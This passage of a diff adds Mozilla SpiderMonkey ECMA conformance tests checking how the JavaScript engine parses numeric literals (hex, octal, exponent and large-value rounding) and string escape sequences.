+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.7.3-1.js
+ ECMA Section: 7.7.3 Numeric Literals
+
+ Description: A numeric literal stands for a value of the Number type
+ This value is determined in two steps: first a
+ mathematical value (MV) is derived from the literal;
+ second, this mathematical value is rounded, ideally
+ using IEEE 754 round-to-nearest mode, to a reprentable
+ value of of the number type.
+
+ These test cases came from Waldemar.
+
+ Author: christine@netscape.com
+ Date: 12 June 1998
+*/
+
+var SECTION = "7.7.3-1";
+var VERSION = "ECMA_1";
+var TITLE = "Numeric Literals";
+var BUGNUMBER="122877";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "0x12345678",
+ 305419896,
+ 0x12345678 );
+
+new TestCase( SECTION,
+ "0x80000000",
+ 2147483648,
+ 0x80000000 );
+
+new TestCase( SECTION,
+ "0xffffffff",
+ 4294967295,
+ 0xffffffff );
+
+new TestCase( SECTION,
+ "0x100000000",
+ 4294967296,
+ 0x100000000 );
+
+new TestCase( SECTION,
+ "077777777777777777",
+ 2251799813685247,
+ 077777777777777777 );
+
+new TestCase( SECTION,
+ "077777777777777776",
+ 2251799813685246,
+ 077777777777777776 );
+
+new TestCase( SECTION,
+ "0x1fffffffffffff",
+ 9007199254740991,
+ 0x1fffffffffffff );
+
+new TestCase( SECTION,
+ "0x20000000000000",
+ 9007199254740992,
+ 0x20000000000000 );
+
+new TestCase( SECTION,
+ "0x20123456789abc",
+ 9027215253084860,
+ 0x20123456789abc );
+
+new TestCase( SECTION,
+ "0x20123456789abd",
+ 9027215253084860,
+ 0x20123456789abd );
+
+new TestCase( SECTION,
+ "0x20123456789abe",
+ 9027215253084862,
+ 0x20123456789abe );
+
+new TestCase( SECTION,
+ "0x20123456789abf",
+ 9027215253084864,
+ 0x20123456789abf );
+
+new TestCase( SECTION,
+ "0x1000000000000080",
+ 1152921504606847000,
+ 0x1000000000000080 );
+
+new TestCase( SECTION,
+ "0x1000000000000081",
+ 1152921504606847200,
+ 0x1000000000000081 );
+
+new TestCase( SECTION,
+ "0x1000000000000100",
+ 1152921504606847200,
+ 0x1000000000000100 );
+
+new TestCase( SECTION,
+ "0x100000000000017f",
+ 1152921504606847200,
+ 0x100000000000017f );
+
+new TestCase( SECTION,
+ "0x1000000000000180",
+ 1152921504606847500,
+ 0x1000000000000180 );
+
+new TestCase( SECTION,
+ "0x1000000000000181",
+ 1152921504606847500,
+ 0x1000000000000181 );
+
+new TestCase( SECTION,
+ "0x10000000000001f0",
+ 1152921504606847500,
+ 0x10000000000001f0 );
+
+new TestCase( SECTION,
+ "0x1000000000000200",
+ 1152921504606847500,
+ 0x1000000000000200 );
+
+new TestCase( SECTION,
+ "0x100000000000027f",
+ 1152921504606847500,
+ 0x100000000000027f );
+
+new TestCase( SECTION,
+ "0x1000000000000280",
+ 1152921504606847500,
+ 0x1000000000000280 );
+
+new TestCase( SECTION,
+ "0x1000000000000281",
+ 1152921504606847700,
+ 0x1000000000000281 );
+
+new TestCase( SECTION,
+ "0x10000000000002ff",
+ 1152921504606847700,
+ 0x10000000000002ff );
+
+new TestCase( SECTION,
+ "0x1000000000000300",
+ 1152921504606847700,
+ 0x1000000000000300 );
+
+new TestCase( SECTION,
+ "0x10000000000000000",
+ 18446744073709552000,
+ 0x10000000000000000 );
+
+test();
+
diff --git a/js/src/tests/ecma/LexicalConventions/7.7.3-2.js b/js/src/tests/ecma/LexicalConventions/7.7.3-2.js
new file mode 100644
index 000000000..41aee54e4
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.7.3-2.js
@@ -0,0 +1,59 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.7.3-2.js
+ ECMA Section: 7.7.3 Numeric Literals
+
+ Description:
+
+ This is a regression test for
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=122884
+
+ Waldemar's comments:
+
+ A numeric literal that starts with either '08' or '09' is interpreted as a
+ decimal literal; it should be an error instead. (Strictly speaking, according
+ to ECMA v1 such literals should be interpreted as two integers -- a zero
+ followed by a decimal number whose first digit is 8 or 9, but this is a bug in
+ ECMA that will be fixed in v2. In any case, there is no place in the grammar
+ where two consecutive numbers would be legal.)
+
+ Author: christine@netscape.com
+ Date: 15 june 1998
+
+*/
+var SECTION = "7.7.3-2";
+var VERSION = "ECMA_1";
+var TITLE = "Numeric Literals";
+var BUGNUMBER="122884";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "9",
+ 9,
+ 9 );
+
+new TestCase( SECTION,
+ "09",
+ 9,
+ 09 );
+
+new TestCase( SECTION,
+ "099",
+ 99,
+ 099 );
+
+
+new TestCase( SECTION,
+ "077",
+ 63,
+ 077 );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.7.3.js b/js/src/tests/ecma/LexicalConventions/7.7.3.js
new file mode 100644
index 000000000..15dfaa8b2
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.7.3.js
@@ -0,0 +1,297 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.7.3.js
+ ECMA Section: 7.7.3 Numeric Literals
+
+ Description: A numeric literal stands for a value of the Number type
+ This value is determined in two steps: first a
+ mathematical value (MV) is derived from the literal;
+ second, this mathematical value is rounded, ideally
+ using IEEE 754 round-to-nearest mode, to a reprentable
+ value of of the number type.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "7.7.3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Numeric Literals";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "0", 0, 0 );
+new TestCase( SECTION, "1", 1, 1 );
+new TestCase( SECTION, "2", 2, 2 );
+new TestCase( SECTION, "3", 3, 3 );
+new TestCase( SECTION, "4", 4, 4 );
+new TestCase( SECTION, "5", 5, 5 );
+new TestCase( SECTION, "6", 6, 6 );
+new TestCase( SECTION, "7", 7, 7 );
+new TestCase( SECTION, "8", 8, 8 );
+new TestCase( SECTION, "9", 9, 9 );
+
+new TestCase( SECTION, "0.", 0, 0. );
+new TestCase( SECTION, "1.", 1, 1. );
+new TestCase( SECTION, "2.", 2, 2. );
+new TestCase( SECTION, "3.", 3, 3. );
+new TestCase( SECTION, "4.", 4, 4. );
+
+new TestCase( SECTION, "0.e0", 0, 0.e0 );
+new TestCase( SECTION, "1.e1", 10, 1.e1 );
+new TestCase( SECTION, "2.e2", 200, 2.e2 );
+new TestCase( SECTION, "3.e3", 3000, 3.e3 );
+new TestCase( SECTION, "4.e4", 40000, 4.e4 );
+
+new TestCase( SECTION, "0.1e0", .1, 0.1e0 );
+new TestCase( SECTION, "1.1e1", 11, 1.1e1 );
+new TestCase( SECTION, "2.2e2", 220, 2.2e2 );
+new TestCase( SECTION, "3.3e3", 3300, 3.3e3 );
+new TestCase( SECTION, "4.4e4", 44000, 4.4e4 );
+
+new TestCase( SECTION, ".1e0", .1, .1e0 );
+new TestCase( SECTION, ".1e1", 1, .1e1 );
+new TestCase( SECTION, ".2e2", 20, .2e2 );
+new TestCase( SECTION, ".3e3", 300, .3e3 );
+new TestCase( SECTION, ".4e4", 4000, .4e4 );
+
+new TestCase( SECTION, "0e0", 0, 0e0 );
+new TestCase( SECTION, "1e1", 10, 1e1 );
+new TestCase( SECTION, "2e2", 200, 2e2 );
+new TestCase( SECTION, "3e3", 3000, 3e3 );
+new TestCase( SECTION, "4e4", 40000, 4e4 );
+
+new TestCase( SECTION, "0e0", 0, 0e0 );
+new TestCase( SECTION, "1e1", 10, 1e1 );
+new TestCase( SECTION, "2e2", 200, 2e2 );
+new TestCase( SECTION, "3e3", 3000, 3e3 );
+new TestCase( SECTION, "4e4", 40000, 4e4 );
+
+new TestCase( SECTION, "0E0", 0, 0E0 );
+new TestCase( SECTION, "1E1", 10, 1E1 );
+new TestCase( SECTION, "2E2", 200, 2E2 );
+new TestCase( SECTION, "3E3", 3000, 3E3 );
+new TestCase( SECTION, "4E4", 40000, 4E4 );
+
+new TestCase( SECTION, "1.e-1", 0.1, 1.e-1 );
+new TestCase( SECTION, "2.e-2", 0.02, 2.e-2 );
+new TestCase( SECTION, "3.e-3", 0.003, 3.e-3 );
+new TestCase( SECTION, "4.e-4", 0.0004, 4.e-4 );
+
+new TestCase( SECTION, "0.1e-0", .1, 0.1e-0 );
+new TestCase( SECTION, "1.1e-1", 0.11, 1.1e-1 );
+new TestCase( SECTION, "2.2e-2", .022, 2.2e-2 );
+new TestCase( SECTION, "3.3e-3", .0033, 3.3e-3 );
+new TestCase( SECTION, "4.4e-4", .00044, 4.4e-4 );
+
+new TestCase( SECTION, ".1e-0", .1, .1e-0 );
+new TestCase( SECTION, ".1e-1", .01, .1e-1 );
+new TestCase( SECTION, ".2e-2", .002, .2e-2 );
+new TestCase( SECTION, ".3e-3", .0003, .3e-3 );
+new TestCase( SECTION, ".4e-4", .00004, .4e-4 );
+
+new TestCase( SECTION, "1.e+1", 10, 1.e+1 );
+new TestCase( SECTION, "2.e+2", 200, 2.e+2 );
+new TestCase( SECTION, "3.e+3", 3000, 3.e+3 );
+new TestCase( SECTION, "4.e+4", 40000, 4.e+4 );
+
+new TestCase( SECTION, "0.1e+0", .1, 0.1e+0 );
+new TestCase( SECTION, "1.1e+1", 11, 1.1e+1 );
+new TestCase( SECTION, "2.2e+2", 220, 2.2e+2 );
+new TestCase( SECTION, "3.3e+3", 3300, 3.3e+3 );
+new TestCase( SECTION, "4.4e+4", 44000, 4.4e+4 );
+
+new TestCase( SECTION, ".1e+0", .1, .1e+0 );
+new TestCase( SECTION, ".1e+1", 1, .1e+1 );
+new TestCase( SECTION, ".2e+2", 20, .2e+2 );
+new TestCase( SECTION, ".3e+3", 300, .3e+3 );
+new TestCase( SECTION, ".4e+4", 4000, .4e+4 );
+
+new TestCase( SECTION, "0x0", 0, 0x0 );
+new TestCase( SECTION, "0x1", 1, 0x1 );
+new TestCase( SECTION, "0x2", 2, 0x2 );
+new TestCase( SECTION, "0x3", 3, 0x3 );
+new TestCase( SECTION, "0x4", 4, 0x4 );
+new TestCase( SECTION, "0x5", 5, 0x5 );
+new TestCase( SECTION, "0x6", 6, 0x6 );
+new TestCase( SECTION, "0x7", 7, 0x7 );
+new TestCase( SECTION, "0x8", 8, 0x8 );
+new TestCase( SECTION, "0x9", 9, 0x9 );
+new TestCase( SECTION, "0xa", 10, 0xa );
+new TestCase( SECTION, "0xb", 11, 0xb );
+new TestCase( SECTION, "0xc", 12, 0xc );
+new TestCase( SECTION, "0xd", 13, 0xd );
+new TestCase( SECTION, "0xe", 14, 0xe );
+new TestCase( SECTION, "0xf", 15, 0xf );
+
+new TestCase( SECTION, "0X0", 0, 0X0 );
+new TestCase( SECTION, "0X1", 1, 0X1 );
+new TestCase( SECTION, "0X2", 2, 0X2 );
+new TestCase( SECTION, "0X3", 3, 0X3 );
+new TestCase( SECTION, "0X4", 4, 0X4 );
+new TestCase( SECTION, "0X5", 5, 0X5 );
+new TestCase( SECTION, "0X6", 6, 0X6 );
+new TestCase( SECTION, "0X7", 7, 0X7 );
+new TestCase( SECTION, "0X8", 8, 0X8 );
+new TestCase( SECTION, "0X9", 9, 0X9 );
+new TestCase( SECTION, "0Xa", 10, 0Xa );
+new TestCase( SECTION, "0Xb", 11, 0Xb );
+new TestCase( SECTION, "0Xc", 12, 0Xc );
+new TestCase( SECTION, "0Xd", 13, 0Xd );
+new TestCase( SECTION, "0Xe", 14, 0Xe );
+new TestCase( SECTION, "0Xf", 15, 0Xf );
+
+new TestCase( SECTION, "0x0", 0, 0x0 );
+new TestCase( SECTION, "0x1", 1, 0x1 );
+new TestCase( SECTION, "0x2", 2, 0x2 );
+new TestCase( SECTION, "0x3", 3, 0x3 );
+new TestCase( SECTION, "0x4", 4, 0x4 );
+new TestCase( SECTION, "0x5", 5, 0x5 );
+new TestCase( SECTION, "0x6", 6, 0x6 );
+new TestCase( SECTION, "0x7", 7, 0x7 );
+new TestCase( SECTION, "0x8", 8, 0x8 );
+new TestCase( SECTION, "0x9", 9, 0x9 );
+new TestCase( SECTION, "0xA", 10, 0xA );
+new TestCase( SECTION, "0xB", 11, 0xB );
+new TestCase( SECTION, "0xC", 12, 0xC );
+new TestCase( SECTION, "0xD", 13, 0xD );
+new TestCase( SECTION, "0xE", 14, 0xE );
+new TestCase( SECTION, "0xF", 15, 0xF );
+
+new TestCase( SECTION, "0X0", 0, 0X0 );
+new TestCase( SECTION, "0X1", 1, 0X1 );
+new TestCase( SECTION, "0X2", 2, 0X2 );
+new TestCase( SECTION, "0X3", 3, 0X3 );
+new TestCase( SECTION, "0X4", 4, 0X4 );
+new TestCase( SECTION, "0X5", 5, 0X5 );
+new TestCase( SECTION, "0X6", 6, 0X6 );
+new TestCase( SECTION, "0X7", 7, 0X7 );
+new TestCase( SECTION, "0X8", 8, 0X8 );
+new TestCase( SECTION, "0X9", 9, 0X9 );
+new TestCase( SECTION, "0XA", 10, 0XA );
+new TestCase( SECTION, "0XB", 11, 0XB );
+new TestCase( SECTION, "0XC", 12, 0XC );
+new TestCase( SECTION, "0XD", 13, 0XD );
+new TestCase( SECTION, "0XE", 14, 0XE );
+new TestCase( SECTION, "0XF", 15, 0XF );
+
+
+new TestCase( SECTION, "00", 0, 00 );
+new TestCase( SECTION, "01", 1, 01 );
+new TestCase( SECTION, "02", 2, 02 );
+new TestCase( SECTION, "03", 3, 03 );
+new TestCase( SECTION, "04", 4, 04 );
+new TestCase( SECTION, "05", 5, 05 );
+new TestCase( SECTION, "06", 6, 06 );
+new TestCase( SECTION, "07", 7, 07 );
+
+new TestCase( SECTION, "000", 0, 000 );
+new TestCase( SECTION, "011", 9, 011 );
+new TestCase( SECTION, "022", 18, 022 );
+new TestCase( SECTION, "033", 27, 033 );
+new TestCase( SECTION, "044", 36, 044 );
+new TestCase( SECTION, "055", 45, 055 );
+new TestCase( SECTION, "066", 54, 066 );
+new TestCase( SECTION, "077", 63, 077 );
+
+new TestCase( SECTION, "0.00000000001", 0.00000000001, 0.00000000001 );
+new TestCase( SECTION, "0.00000000001e-2", 0.0000000000001, 0.00000000001e-2 );
+
+
+new TestCase( SECTION,
+ "123456789012345671.9999",
+ "123456789012345660",
+ 123456789012345671.9999 +"");
+new TestCase( SECTION,
+ "123456789012345672",
+ "123456789012345660",
+ 123456789012345672 +"");
+
+new TestCase( SECTION,
+ "123456789012345672.000000000000000000000000000",
+ "123456789012345660",
+ 123456789012345672.000000000000000000000000000 +"");
+
+new TestCase( SECTION,
+ "123456789012345672.01",
+ "123456789012345680",
+ 123456789012345672.01 +"");
+
+new TestCase( SECTION,
+ "123456789012345672.000000000000000000000000001+'' == 123456789012345680 || 123456789012345660",
+ true,
+ ( 123456789012345672.00000000000000000000000000 +"" == 1234567890 * 100000000 + 12345680 )
+ ||
+ ( 123456789012345672.00000000000000000000000000 +"" == 1234567890 * 100000000 + 12345660) );
+
+new TestCase( SECTION,
+ "123456789012345673",
+ "123456789012345680",
+ 123456789012345673 +"" );
+
+new TestCase( SECTION,
+ "-123456789012345671.9999",
+ "-123456789012345660",
+ -123456789012345671.9999 +"" );
+
+new TestCase( SECTION,
+ "-123456789012345672",
+ "-123456789012345660",
+ -123456789012345672+"");
+
+new TestCase( SECTION,
+ "-123456789012345672.000000000000000000000000000",
+ "-123456789012345660",
+ -123456789012345672.000000000000000000000000000 +"");
+
+new TestCase( SECTION,
+ "-123456789012345672.01",
+ "-123456789012345680",
+ -123456789012345672.01 +"" );
+
+new TestCase( SECTION,
+ "-123456789012345672.000000000000000000000000001 == -123456789012345680 or -123456789012345660",
+ true,
+ (-123456789012345672.000000000000000000000000001 +"" == -1234567890 * 100000000 -12345680)
+ ||
+ (-123456789012345672.000000000000000000000000001 +"" == -1234567890 * 100000000 -12345660));
+
+new TestCase( SECTION,
+ -123456789012345673,
+ "-123456789012345680",
+ -123456789012345673 +"");
+
+new TestCase( SECTION,
+ "12345678901234567890",
+ "12345678901234567000",
+ 12345678901234567890 +"" );
+
+
+/*
+ new TestCase( SECTION, "12345678901234567", "12345678901234567", 12345678901234567+"" );
+ new TestCase( SECTION, "123456789012345678", "123456789012345678", 123456789012345678+"" );
+ new TestCase( SECTION, "1234567890123456789", "1234567890123456789", 1234567890123456789+"" );
+ new TestCase( SECTION, "12345678901234567890", "12345678901234567890", 12345678901234567890+"" );
+ new TestCase( SECTION, "123456789012345678900", "123456789012345678900", 123456789012345678900+"" );
+ new TestCase( SECTION, "1234567890123456789000", "1234567890123456789000", 1234567890123456789000+"" );
+*/
+new TestCase( SECTION, "0x1", 1, 0x1 );
+new TestCase( SECTION, "0x10", 16, 0x10 );
+new TestCase( SECTION, "0x100", 256, 0x100 );
+new TestCase( SECTION, "0x1000", 4096, 0x1000 );
+new TestCase( SECTION, "0x10000", 65536, 0x10000 );
+new TestCase( SECTION, "0x100000", 1048576, 0x100000 );
+new TestCase( SECTION, "0x1000000", 16777216, 0x1000000 );
+new TestCase( SECTION, "0x10000000", 268435456, 0x10000000 );
+/*
+ new TestCase( SECTION, "0x100000000", 4294967296, 0x100000000 );
+ new TestCase( SECTION, "0x1000000000", 68719476736, 0x1000000000 );
+ new TestCase( SECTION, "0x10000000000", 1099511627776, 0x10000000000 );
+*/
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.7.4.js b/js/src/tests/ecma/LexicalConventions/7.7.4.js
new file mode 100644
index 000000000..afbe4c12e
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.7.4.js
@@ -0,0 +1,208 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.7.4.js
+ ECMA Section: 7.7.4 String Literals
+
+ Description: A string literal is zero or more characters enclosed in
+ single or double quotes. Each character may be
+ represented by an escape sequence.
+
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "7.7.4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String Literals";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// StringLiteral:: "" and ''
+
+new TestCase( SECTION, "\"\"", "", "" );
+new TestCase( SECTION, "\'\'", "", '' );
+
+// DoubleStringCharacters:: DoubleStringCharacter :: EscapeSequence :: CharacterEscapeSequence
+new TestCase( SECTION, "\\\"", String.fromCharCode(0x0022), "\"" );
+new TestCase( SECTION, "\\\'", String.fromCharCode(0x0027), "\'" );
+new TestCase( SECTION, "\\", String.fromCharCode(0x005C), "\\" );
+new TestCase( SECTION, "\\b", String.fromCharCode(0x0008), "\b" );
+new TestCase( SECTION, "\\f", String.fromCharCode(0x000C), "\f" );
+new TestCase( SECTION, "\\n", String.fromCharCode(0x000A), "\n" );
+new TestCase( SECTION, "\\r", String.fromCharCode(0x000D), "\r" );
+new TestCase( SECTION, "\\t", String.fromCharCode(0x0009), "\t" );
+new TestCase( SECTION, "\\v", String.fromCharCode(0x000B), "\v" );
+
+// DoubleStringCharacters:DoubleStringCharacter::EscapeSequence::OctalEscapeSequence
+
+new TestCase( SECTION, "\\00", String.fromCharCode(0x0000), "\00" );
+new TestCase( SECTION, "\\01", String.fromCharCode(0x0001), "\01" );
+new TestCase( SECTION, "\\02", String.fromCharCode(0x0002), "\02" );
+new TestCase( SECTION, "\\03", String.fromCharCode(0x0003), "\03" );
+new TestCase( SECTION, "\\04", String.fromCharCode(0x0004), "\04" );
+new TestCase( SECTION, "\\05", String.fromCharCode(0x0005), "\05" );
+new TestCase( SECTION, "\\06", String.fromCharCode(0x0006), "\06" );
+new TestCase( SECTION, "\\07", String.fromCharCode(0x0007), "\07" );
+
+new TestCase( SECTION, "\\010", String.fromCharCode(0x0008), "\010" );
+new TestCase( SECTION, "\\011", String.fromCharCode(0x0009), "\011" );
+new TestCase( SECTION, "\\012", String.fromCharCode(0x000A), "\012" );
+new TestCase( SECTION, "\\013", String.fromCharCode(0x000B), "\013" );
+new TestCase( SECTION, "\\014", String.fromCharCode(0x000C), "\014" );
+new TestCase( SECTION, "\\015", String.fromCharCode(0x000D), "\015" );
+new TestCase( SECTION, "\\016", String.fromCharCode(0x000E), "\016" );
+new TestCase( SECTION, "\\017", String.fromCharCode(0x000F), "\017" );
+new TestCase( SECTION, "\\020", String.fromCharCode(0x0010), "\020" );
+new TestCase( SECTION, "\\042", String.fromCharCode(0x0022), "\042" );
+
+new TestCase( SECTION, "\\0", String.fromCharCode(0x0000), "\0" );
+new TestCase( SECTION, "\\1", String.fromCharCode(0x0001), "\1" );
+new TestCase( SECTION, "\\2", String.fromCharCode(0x0002), "\2" );
+new TestCase( SECTION, "\\3", String.fromCharCode(0x0003), "\3" );
+new TestCase( SECTION, "\\4", String.fromCharCode(0x0004), "\4" );
+new TestCase( SECTION, "\\5", String.fromCharCode(0x0005), "\5" );
+new TestCase( SECTION, "\\6", String.fromCharCode(0x0006), "\6" );
+new TestCase( SECTION, "\\7", String.fromCharCode(0x0007), "\7" );
+
+new TestCase( SECTION, "\\10", String.fromCharCode(0x0008), "\10" );
+new TestCase( SECTION, "\\11", String.fromCharCode(0x0009), "\11" );
+new TestCase( SECTION, "\\12", String.fromCharCode(0x000A), "\12" );
+new TestCase( SECTION, "\\13", String.fromCharCode(0x000B), "\13" );
+new TestCase( SECTION, "\\14", String.fromCharCode(0x000C), "\14" );
+new TestCase( SECTION, "\\15", String.fromCharCode(0x000D), "\15" );
+new TestCase( SECTION, "\\16", String.fromCharCode(0x000E), "\16" );
+new TestCase( SECTION, "\\17", String.fromCharCode(0x000F), "\17" );
+new TestCase( SECTION, "\\20", String.fromCharCode(0x0010), "\20" );
+new TestCase( SECTION, "\\42", String.fromCharCode(0x0022), "\42" );
+
+new TestCase( SECTION, "\\000", String.fromCharCode(0), "\000" );
+new TestCase( SECTION, "\\111", String.fromCharCode(73), "\111" );
+new TestCase( SECTION, "\\222", String.fromCharCode(146), "\222" );
+new TestCase( SECTION, "\\333", String.fromCharCode(219), "\333" );
+
+// following line commented out as it causes a compile time error
+// new TestCase( SECTION, "\\444", "444", "\444" );
+
+// DoubleStringCharacters:DoubleStringCharacter::EscapeSequence::HexEscapeSequence
+new TestCase( SECTION, "\\xF0", String.fromCharCode(240), "\xF0" );
+new TestCase( SECTION, "\\xE1", String.fromCharCode(225), "\xE1" );
+new TestCase( SECTION, "\\xD2", String.fromCharCode(210), "\xD2" );
+new TestCase( SECTION, "\\xC3", String.fromCharCode(195), "\xC3" );
+new TestCase( SECTION, "\\xB4", String.fromCharCode(180), "\xB4" );
+new TestCase( SECTION, "\\xA5", String.fromCharCode(165), "\xA5" );
+new TestCase( SECTION, "\\x96", String.fromCharCode(150), "\x96" );
+new TestCase( SECTION, "\\x87", String.fromCharCode(135), "\x87" );
+new TestCase( SECTION, "\\x78", String.fromCharCode(120), "\x78" );
+new TestCase( SECTION, "\\x69", String.fromCharCode(105), "\x69" );
+new TestCase( SECTION, "\\x5A", String.fromCharCode(90), "\x5A" );
+new TestCase( SECTION, "\\x4B", String.fromCharCode(75), "\x4B" );
+new TestCase( SECTION, "\\x3C", String.fromCharCode(60), "\x3C" );
+new TestCase( SECTION, "\\x2D", String.fromCharCode(45), "\x2D" );
+new TestCase( SECTION, "\\x1E", String.fromCharCode(30), "\x1E" );
+new TestCase( SECTION, "\\x0F", String.fromCharCode(15), "\x0F" );
+
+// string literals only take up to two hext digits. therefore, the third character in this string
+// should be interpreted as a StringCharacter and not part of the HextEscapeSequence
+
+new TestCase( SECTION, "\\xF0F", String.fromCharCode(240)+"F", "\xF0F" );
+new TestCase( SECTION, "\\xE1E", String.fromCharCode(225)+"E", "\xE1E" );
+new TestCase( SECTION, "\\xD2D", String.fromCharCode(210)+"D", "\xD2D" );
+new TestCase( SECTION, "\\xC3C", String.fromCharCode(195)+"C", "\xC3C" );
+new TestCase( SECTION, "\\xB4B", String.fromCharCode(180)+"B", "\xB4B" );
+new TestCase( SECTION, "\\xA5A", String.fromCharCode(165)+"A", "\xA5A" );
+new TestCase( SECTION, "\\x969", String.fromCharCode(150)+"9", "\x969" );
+new TestCase( SECTION, "\\x878", String.fromCharCode(135)+"8", "\x878" );
+new TestCase( SECTION, "\\x787", String.fromCharCode(120)+"7", "\x787" );
+new TestCase( SECTION, "\\x696", String.fromCharCode(105)+"6", "\x696" );
+new TestCase( SECTION, "\\x5A5", String.fromCharCode(90)+"5", "\x5A5" );
+new TestCase( SECTION, "\\x4B4", String.fromCharCode(75)+"4", "\x4B4" );
+new TestCase( SECTION, "\\x3C3", String.fromCharCode(60)+"3", "\x3C3" );
+new TestCase( SECTION, "\\x2D2", String.fromCharCode(45)+"2", "\x2D2" );
+new TestCase( SECTION, "\\x1E1", String.fromCharCode(30)+"1", "\x1E1" );
+new TestCase( SECTION, "\\x0F0", String.fromCharCode(15)+"0", "\x0F0" );
+
+// DoubleStringCharacter::EscapeSequence::CharacterEscapeSequence::\ NonEscapeCharacter
+new TestCase( SECTION, "\\a", "a", "\a" );
+new TestCase( SECTION, "\\c", "c", "\c" );
+new TestCase( SECTION, "\\d", "d", "\d" );
+new TestCase( SECTION, "\\e", "e", "\e" );
+new TestCase( SECTION, "\\g", "g", "\g" );
+new TestCase( SECTION, "\\h", "h", "\h" );
+new TestCase( SECTION, "\\i", "i", "\i" );
+new TestCase( SECTION, "\\j", "j", "\j" );
+new TestCase( SECTION, "\\k", "k", "\k" );
+new TestCase( SECTION, "\\l", "l", "\l" );
+new TestCase( SECTION, "\\m", "m", "\m" );
+new TestCase( SECTION, "\\o", "o", "\o" );
+new TestCase( SECTION, "\\p", "p", "\p" );
+new TestCase( SECTION, "\\q", "q", "\q" );
+new TestCase( SECTION, "\\s", "s", "\s" );
+new TestCase( SECTION, "\\w", "w", "\w" );
+new TestCase( SECTION, "\\y", "y", "\y" );
+new TestCase( SECTION, "\\z", "z", "\z" );
+new TestCase( SECTION, "\\9", "9", "\9" );
+
+new TestCase( SECTION, "\\A", "A", "\A" );
+new TestCase( SECTION, "\\B", "B", "\B" );
+new TestCase( SECTION, "\\C", "C", "\C" );
+new TestCase( SECTION, "\\D", "D", "\D" );
+new TestCase( SECTION, "\\E", "E", "\E" );
+new TestCase( SECTION, "\\F", "F", "\F" );
+new TestCase( SECTION, "\\G", "G", "\G" );
+new TestCase( SECTION, "\\H", "H", "\H" );
+new TestCase( SECTION, "\\I", "I", "\I" );
+new TestCase( SECTION, "\\J", "J", "\J" );
+new TestCase( SECTION, "\\K", "K", "\K" );
+new TestCase( SECTION, "\\L", "L", "\L" );
+new TestCase( SECTION, "\\M", "M", "\M" );
+new TestCase( SECTION, "\\N", "N", "\N" );
+new TestCase( SECTION, "\\O", "O", "\O" );
+new TestCase( SECTION, "\\P", "P", "\P" );
+new TestCase( SECTION, "\\Q", "Q", "\Q" );
+new TestCase( SECTION, "\\R", "R", "\R" );
+new TestCase( SECTION, "\\S", "S", "\S" );
+new TestCase( SECTION, "\\T", "T", "\T" );
+new TestCase( SECTION, "\\U", "U", "\U" );
+new TestCase( SECTION, "\\V", "V", "\V" );
+new TestCase( SECTION, "\\W", "W", "\W" );
+new TestCase( SECTION, "\\X", "X", "\X" );
+new TestCase( SECTION, "\\Y", "Y", "\Y" );
+new TestCase( SECTION, "\\Z", "Z", "\Z" );
+
+// DoubleStringCharacter::EscapeSequence::UnicodeEscapeSequence
+
+new TestCase( SECTION, "\\u0020", " ", "\u0020" );
+new TestCase( SECTION, "\\u0021", "!", "\u0021" );
+new TestCase( SECTION, "\\u0022", "\"", "\u0022" );
+new TestCase( SECTION, "\\u0023", "#", "\u0023" );
+new TestCase( SECTION, "\\u0024", "$", "\u0024" );
+new TestCase( SECTION, "\\u0025", "%", "\u0025" );
+new TestCase( SECTION, "\\u0026", "&", "\u0026" );
+new TestCase( SECTION, "\\u0027", "'", "\u0027" );
+new TestCase( SECTION, "\\u0028", "(", "\u0028" );
+new TestCase( SECTION, "\\u0029", ")", "\u0029" );
+new TestCase( SECTION, "\\u002A", "*", "\u002A" );
+new TestCase( SECTION, "\\u002B", "+", "\u002B" );
+new TestCase( SECTION, "\\u002C", ",", "\u002C" );
+new TestCase( SECTION, "\\u002D", "-", "\u002D" );
+new TestCase( SECTION, "\\u002E", ".", "\u002E" );
+new TestCase( SECTION, "\\u002F", "/", "\u002F" );
+new TestCase( SECTION, "\\u0030", "0", "\u0030" );
+new TestCase( SECTION, "\\u0031", "1", "\u0031" );
+new TestCase( SECTION, "\\u0032", "2", "\u0032" );
+new TestCase( SECTION, "\\u0033", "3", "\u0033" );
+new TestCase( SECTION, "\\u0034", "4", "\u0034" );
+new TestCase( SECTION, "\\u0035", "5", "\u0035" );
+new TestCase( SECTION, "\\u0036", "6", "\u0036" );
+new TestCase( SECTION, "\\u0037", "7", "\u0037" );
+new TestCase( SECTION, "\\u0038", "8", "\u0038" );
+new TestCase( SECTION, "\\u0039", "9", "\u0039" );
+
+test();
